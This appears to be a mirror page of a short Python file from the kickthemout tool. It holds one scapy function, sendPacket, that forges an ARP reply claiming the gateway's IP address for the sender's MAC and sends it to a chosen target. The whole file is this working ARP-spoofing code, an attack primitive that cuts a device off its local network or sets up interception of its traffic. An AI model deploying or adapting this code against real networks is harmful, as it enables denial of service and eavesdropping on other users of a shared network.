mirror of
https://github.com/k4m4/kickthemout.git
synced 2025-02-19 17:08:59 +01:00
32 lines
549 B
Python
32 lines
549 B
Python
#kickthemout/scan.py by @xdavidhu
|
|
|
|
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
|
|
|
import sys
|
|
from scapy.all import (
|
|
get_if_hwaddr,
|
|
getmacbyip,
|
|
ARP,
|
|
Ether,
|
|
sendp
|
|
)
|
|
|
|
ether = Ether()
|
|
ether.src = my_mac
|
|
|
|
arp = ARP()
|
|
arp.psrc = gateway_ip
|
|
arp.hwsrc = my_mac
|
|
|
|
arp = arp
|
|
arp.pdst = target_ip
|
|
arp.hwdst = target_mac
|
|
|
|
ether = ether
|
|
ether.src = my_mac
|
|
ether.dst = target_mac
|
|
|
|
arp.op = 2
|
|
packet = ether/arp
|
|
sendp(x=packet, verbose=False)
|